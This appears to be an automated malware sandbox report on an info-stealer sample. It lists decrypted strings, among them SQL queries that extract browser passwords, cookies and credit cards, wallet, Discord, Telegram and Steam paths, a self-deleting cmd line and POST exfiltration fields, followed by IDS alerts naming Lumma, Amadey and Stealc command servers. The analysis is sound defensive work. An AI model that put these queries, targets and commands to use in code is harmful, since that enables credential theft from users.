Source: 28.2.num.exe.590000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 28.2.num.exe.590000.0.unpack	String decryptor: RmStartSession
Source: 28.2.num.exe.590000.0.unpack	String decryptor: RmRegisterResources
Source: 28.2.num.exe.590000.0.unpack	String decryptor: RmGetList
Source: 28.2.num.exe.590000.0.unpack	String decryptor: RmEndSession
Source: 28.2.num.exe.590000.0.unpack	String decryptor: sqlite3_open
Source: 28.2.num.exe.590000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 28.2.num.exe.590000.0.unpack	String decryptor: sqlite3_step
Source: 28.2.num.exe.590000.0.unpack	String decryptor: sqlite3_column_text
Source: 28.2.num.exe.590000.0.unpack	String decryptor: sqlite3_finalize
Source: 28.2.num.exe.590000.0.unpack	String decryptor: sqlite3_close
Source: 28.2.num.exe.590000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 28.2.num.exe.590000.0.unpack	String decryptor: sqlite3_column_blob
Source: 28.2.num.exe.590000.0.unpack	String decryptor: encrypted_key
Source: 28.2.num.exe.590000.0.unpack	String decryptor: PATH
Source: 28.2.num.exe.590000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 28.2.num.exe.590000.0.unpack	String decryptor: NSS_Init
Source: 28.2.num.exe.590000.0.unpack	String decryptor: NSS_Shutdown
Source: 28.2.num.exe.590000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 28.2.num.exe.590000.0.unpack	String decryptor: PK11_FreeSlot
Source: 28.2.num.exe.590000.0.unpack	String decryptor: PK11_Authenticate
Source: 28.2.num.exe.590000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 28.2.num.exe.590000.0.unpack	String decryptor: C:\ProgramData\
Source: 28.2.num.exe.590000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 28.2.num.exe.590000.0.unpack	String decryptor: browser:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: profile:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: url:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: login:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: password:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Opera
Source: 28.2.num.exe.590000.0.unpack	String decryptor: OperaGX
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Network
Source: 28.2.num.exe.590000.0.unpack	String decryptor: cookies
Source: 28.2.num.exe.590000.0.unpack	String decryptor: .txt
Source: 28.2.num.exe.590000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 28.2.num.exe.590000.0.unpack	String decryptor: TRUE
Source: 28.2.num.exe.590000.0.unpack	String decryptor: FALSE
Source: 28.2.num.exe.590000.0.unpack	String decryptor: autofill
Source: 28.2.num.exe.590000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 28.2.num.exe.590000.0.unpack	String decryptor: history
Source: 28.2.num.exe.590000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 28.2.num.exe.590000.0.unpack	String decryptor: cc
Source: 28.2.num.exe.590000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 28.2.num.exe.590000.0.unpack	String decryptor: name:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: month:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: year:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: card:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Cookies
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Login Data
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Web Data
Source: 28.2.num.exe.590000.0.unpack	String decryptor: History
Source: 28.2.num.exe.590000.0.unpack	String decryptor: logins.json
Source: 28.2.num.exe.590000.0.unpack	String decryptor: formSubmitURL
Source: 28.2.num.exe.590000.0.unpack	String decryptor: usernameField
Source: 28.2.num.exe.590000.0.unpack	String decryptor: encryptedUsername
Source: 28.2.num.exe.590000.0.unpack	String decryptor: encryptedPassword
Source: 28.2.num.exe.590000.0.unpack	String decryptor: guid
Source: 28.2.num.exe.590000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 28.2.num.exe.590000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 28.2.num.exe.590000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 28.2.num.exe.590000.0.unpack	String decryptor: cookies.sqlite
Source: 28.2.num.exe.590000.0.unpack	String decryptor: formhistory.sqlite
Source: 28.2.num.exe.590000.0.unpack	String decryptor: places.sqlite
Source: 28.2.num.exe.590000.0.unpack	String decryptor: plugins
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Local Extension Settings
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Sync Extension Settings
Source: 28.2.num.exe.590000.0.unpack	String decryptor: IndexedDB
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Opera Stable
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Opera GX Stable
Source: 28.2.num.exe.590000.0.unpack	String decryptor: CURRENT
Source: 28.2.num.exe.590000.0.unpack	String decryptor: chrome-extension_
Source: 28.2.num.exe.590000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Local State
Source: 28.2.num.exe.590000.0.unpack	String decryptor: profiles.ini
Source: 28.2.num.exe.590000.0.unpack	String decryptor: chrome
Source: 28.2.num.exe.590000.0.unpack	String decryptor: opera
Source: 28.2.num.exe.590000.0.unpack	String decryptor: firefox
Source: 28.2.num.exe.590000.0.unpack	String decryptor: wallets
Source: 28.2.num.exe.590000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 28.2.num.exe.590000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 28.2.num.exe.590000.0.unpack	String decryptor: ProductName
Source: 28.2.num.exe.590000.0.unpack	String decryptor: x32
Source: 28.2.num.exe.590000.0.unpack	String decryptor: x64
Source: 28.2.num.exe.590000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 28.2.num.exe.590000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 28.2.num.exe.590000.0.unpack	String decryptor: ProcessorNameString
Source: 28.2.num.exe.590000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 28.2.num.exe.590000.0.unpack	String decryptor: DisplayName
Source: 28.2.num.exe.590000.0.unpack	String decryptor: DisplayVersion
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Network Info:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: - IP: IP?
Source: 28.2.num.exe.590000.0.unpack	String decryptor: - Country: ISO?
Source: 28.2.num.exe.590000.0.unpack	String decryptor: System Summary:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: - HWID:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: - OS:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: - Architecture:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: - UserName:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: - Computer Name:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: - Local Time:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: - UTC:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: - Language:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: - Keyboards:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: - Laptop:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: - Running Path:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: - CPU:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: - Threads:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: - Cores:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: - RAM:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: - Display Resolution:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: - GPU:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: User Agents:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Installed Apps:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: All Users:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Current User:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Process List:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: system_info.txt
Source: 28.2.num.exe.590000.0.unpack	String decryptor: freebl3.dll
Source: 28.2.num.exe.590000.0.unpack	String decryptor: mozglue.dll
Source: 28.2.num.exe.590000.0.unpack	String decryptor: msvcp140.dll
Source: 28.2.num.exe.590000.0.unpack	String decryptor: nss3.dll
Source: 28.2.num.exe.590000.0.unpack	String decryptor: softokn3.dll
Source: 28.2.num.exe.590000.0.unpack	String decryptor: vcruntime140.dll
Source: 28.2.num.exe.590000.0.unpack	String decryptor: \Temp\
Source: 28.2.num.exe.590000.0.unpack	String decryptor: .exe
Source: 28.2.num.exe.590000.0.unpack	String decryptor: runas
Source: 28.2.num.exe.590000.0.unpack	String decryptor: open
Source: 28.2.num.exe.590000.0.unpack	String decryptor: /c start
Source: 28.2.num.exe.590000.0.unpack	String decryptor: %DESKTOP%
Source: 28.2.num.exe.590000.0.unpack	String decryptor: %APPDATA%
Source: 28.2.num.exe.590000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 28.2.num.exe.590000.0.unpack	String decryptor: %USERPROFILE%
Source: 28.2.num.exe.590000.0.unpack	String decryptor: %DOCUMENTS%
Source: 28.2.num.exe.590000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 28.2.num.exe.590000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 28.2.num.exe.590000.0.unpack	String decryptor: %RECENT%
Source: 28.2.num.exe.590000.0.unpack	String decryptor: *.lnk
Source: 28.2.num.exe.590000.0.unpack	String decryptor: files
Source: 28.2.num.exe.590000.0.unpack	String decryptor: \discord\
Source: 28.2.num.exe.590000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 28.2.num.exe.590000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 28.2.num.exe.590000.0.unpack	String decryptor: \Telegram Desktop\
Source: 28.2.num.exe.590000.0.unpack	String decryptor: key_datas
Source: 28.2.num.exe.590000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 28.2.num.exe.590000.0.unpack	String decryptor: map*
Source: 28.2.num.exe.590000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 28.2.num.exe.590000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 28.2.num.exe.590000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Telegram
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Tox
Source: 28.2.num.exe.590000.0.unpack	String decryptor: *.tox
Source: 28.2.num.exe.590000.0.unpack	String decryptor: *.ini
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Password
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 28.2.num.exe.590000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 28.2.num.exe.590000.0.unpack	String decryptor: 00000001
Source: 28.2.num.exe.590000.0.unpack	String decryptor: 00000002
Source: 28.2.num.exe.590000.0.unpack	String decryptor: 00000003
Source: 28.2.num.exe.590000.0.unpack	String decryptor: 00000004
Source: 28.2.num.exe.590000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Pidgin
Source: 28.2.num.exe.590000.0.unpack	String decryptor: \.purple\
Source: 28.2.num.exe.590000.0.unpack	String decryptor: accounts.xml
Source: 28.2.num.exe.590000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 28.2.num.exe.590000.0.unpack	String decryptor: token:
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Software\Valve\Steam
Source: 28.2.num.exe.590000.0.unpack	String decryptor: SteamPath
Source: 28.2.num.exe.590000.0.unpack	String decryptor: \config\
Source: 28.2.num.exe.590000.0.unpack	String decryptor: ssfn*
Source: 28.2.num.exe.590000.0.unpack	String decryptor: config.vdf
Source: 28.2.num.exe.590000.0.unpack	String decryptor: DialogConfig.vdf
Source: 28.2.num.exe.590000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 28.2.num.exe.590000.0.unpack	String decryptor: libraryfolders.vdf
Source: 28.2.num.exe.590000.0.unpack	String decryptor: loginusers.vdf
Source: 28.2.num.exe.590000.0.unpack	String decryptor: \Steam\
Source: 28.2.num.exe.590000.0.unpack	String decryptor: sqlite3.dll
Source: 28.2.num.exe.590000.0.unpack	String decryptor: browsers
Source: 28.2.num.exe.590000.0.unpack	String decryptor: done
Source: 28.2.num.exe.590000.0.unpack	String decryptor: soft
Source: 28.2.num.exe.590000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 28.2.num.exe.590000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 28.2.num.exe.590000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 28.2.num.exe.590000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 28.2.num.exe.590000.0.unpack	String decryptor: https
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 28.2.num.exe.590000.0.unpack	String decryptor: POST
Source: 28.2.num.exe.590000.0.unpack	String decryptor: HTTP/1.1
Source: 28.2.num.exe.590000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 28.2.num.exe.590000.0.unpack	String decryptor: hwid
Source: 28.2.num.exe.590000.0.unpack	String decryptor: build
Source: 28.2.num.exe.590000.0.unpack	String decryptor: token
Source: 28.2.num.exe.590000.0.unpack	String decryptor: file_name
Source: 28.2.num.exe.590000.0.unpack	String decryptor: file
Source: 28.2.num.exe.590000.0.unpack	String decryptor: message
Source: 28.2.num.exe.590000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 28.2.num.exe.590000.0.unpack	String decryptor: screenshot.jpg

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:59879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:59904 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:59906 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:59908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:59918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:59917 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59925 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:59938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:59939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:59941 version: TLS 1.2

Source:	Binary string: my_library.pdbU source: 544ed086e5.exe, 00000008.00000002.2927820038.000000000087C000.00000040.00000001.01000000.0000000B.sdmp, 544ed086e5.exe, 00000008.00000003.2887362261.000000000525B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: 544ed086e5.exe, 00000008.00000002.2927820038.000000000087C000.00000040.00000001.01000000.0000000B.sdmp, 544ed086e5.exe, 00000008.00000003.2887362261.000000000525B000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe

Directory queried: number of queries: 1925

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 188MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:52821 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:64200 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.5:51342 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:63340 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:52905 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49711 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49705 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49707 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49708 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49704 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49706 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49710 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:59806 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:52129 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:55109 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:62089 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:65524 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:59821
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59844 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:59843 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59847 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59848 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59850 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59853 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:59852 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:59851 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59855 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:56828 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:52704 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:53751 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:54636 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59857 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59858 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59860 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:59859 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59864 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59869 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:59872 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59883 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:59882 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59887 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:59890 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:59897 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:61851 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:62377 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:55031 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:58723 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59846 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59923 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59849 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59925 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:59927 -> 185.215.113.206:80
